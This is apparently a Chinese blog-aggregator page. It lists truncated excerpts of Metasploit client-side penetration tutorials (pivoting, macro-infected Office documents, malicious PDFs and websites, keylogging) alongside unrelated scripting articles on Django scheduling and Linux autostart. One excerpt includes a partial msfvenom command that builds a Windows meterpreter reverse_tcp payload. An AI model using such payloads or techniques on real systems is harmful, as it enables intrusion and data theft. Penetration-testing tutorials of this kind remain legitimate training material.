msf客户端渗透（七）：跳板、post模块、自动运行脚本

【msf客户端渗透（七）：跳板、post模块、自动运行脚本】的更多相关文章

msf客户端渗透（七）：跳板、post模块、自动运行脚本

跳板假设有这样一个场景,有一个局域网内网网关是1.1.1.1,局域网里的主机1是kali,它经过一个防火墙连接到公网,主机2和主机3在另一个内网网关为2.1.1.1的局域网,由于防火墙做了设置,只有主机2可以通过防火墙连接到公网,主机3无法通过防火墙连接到公网,但是主机2和主机3是互联的.两个局域网可以通过公网的路由相互连接. 防火墙1设置了端口映射规则,将防火墙的4444端口映射到主机1的4444端口,当主机1侦听本机的4444端口时相当于侦听防火墙的4444端口主机1已经获得了主机2的s…

MSF——客户端渗透之VBScript感染

弱点扫描根据信息收集的结果搜索漏洞利用模块结合外部漏洞扫描系统对大IP地址段进行批量扫描误报率.漏报率 VNC密码破解客户端渗透 VBScript感染方式利用宏感染word.excel文档绕过某些基于文件类型检查的安全机制一般人对word.excel的格式看来是没有安全威胁的,没有防范生成Payload msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1…

msf客户端渗透（二）：PDF漏洞、恶意网站、flash漏洞、IE漏洞、java漏洞、android漏洞、VBScript感染payload

这个漏洞利用只在XP上有效利用pdf漏洞利用payload exploit生成一个pdf文件传到被攻击机上启动msf侦听 exploit -j XP上双击运行这个pdf时,kali获取到一个shell 构造恶意网站 exploit 生成一个网站被攻击者点到这个网站时攻击机就获得了一个session 提权开启键盘记录,结果记录到以下文件中利用flash插件漏洞执行payload 要满足这样一个条件生成一个服务当被攻击者点开这个网址攻击者就收到了一个shell 类似的攻击模块还有…

使用APScheduler启动Django服务时自动运行脚本（可设置定时运行）

Django搭建的服务器一般都用作WEB网站进行访问,通常的形式是用户访问网站或点击按钮发送请求,Django检测到请求后进行相应的试图函数处理后返回页面给用户. 但是,我们有时会需要有一些后台自动运行的任务,即使没有用户请求时也要自动运行,或者是定时运行或者是不断运行,怎么做呢?这里用到一个模块APScheduler这样的一个库,我们需要先安装一下.这里用的是2.1.2的版本,现在已经最新版升级到3.x.x,两种版本有较大不同.向学习3版本的,请看另一篇博客:Python APSchedule…

在Linux中以普通用户开机自动运行脚本程序

测试环境:CentOS6.5 管理员:root 普通用户:test1 实现目标:在Linux启动时,以普通用户test1自动运行位于根目录下的脚本程序test.py,该程序会在每次执行时自动向本地日志文件追加一条记录,源码如下: from datetime import datetime now=datetime.now() f=open('test.log','a') f.write('%s '%now) f.close() Linux在启动时,会自动执行/etc/rc.d目录下的初始化程序,…

python 中使用sys模块获取运行脚本时在命令行输入的参数

在python项目的开发的过程中, 经常需要运行各种python脚本, 有时候还需要根据不同的使用情况输入不同的参数, 如果每次都去编辑一下脚本那就太麻烦,太耗费时间了, 这时就可以使用Python自带的sys模块进行处理, 运行脚本时, 通过sys获取在命令行中输入的参数,极大的方便的我们的开发, 提高开发效率一个简单的demo如下, 输入: from sys import argv print(argv[0], argv[1]) print(argv) 终端中运行脚本: (py3) jin…

Linux系统如何设置开机自动运行脚本？

大家好,我是良许. 在工作中,我们经常有个需求,那就是在系统启动之后,自动启动某个脚本或服务.在 Windows 下,我们有很多方法可以设置开机启动,但在 Linux 系统下我们需要如何操作呢? Linux 下同样可以设置开机启动,但可能需要我们敲一些命令(可能也有 UI 界面的设置方法,但我不熟,我更多是玩命令).下面我们就介绍三种简单但可行的开机启动设置方法. 方法一:修改 /etc/rc.d/rc.local 文件 /etc/rc.d/rc.local 文件会在 Linux 系统各项服务都…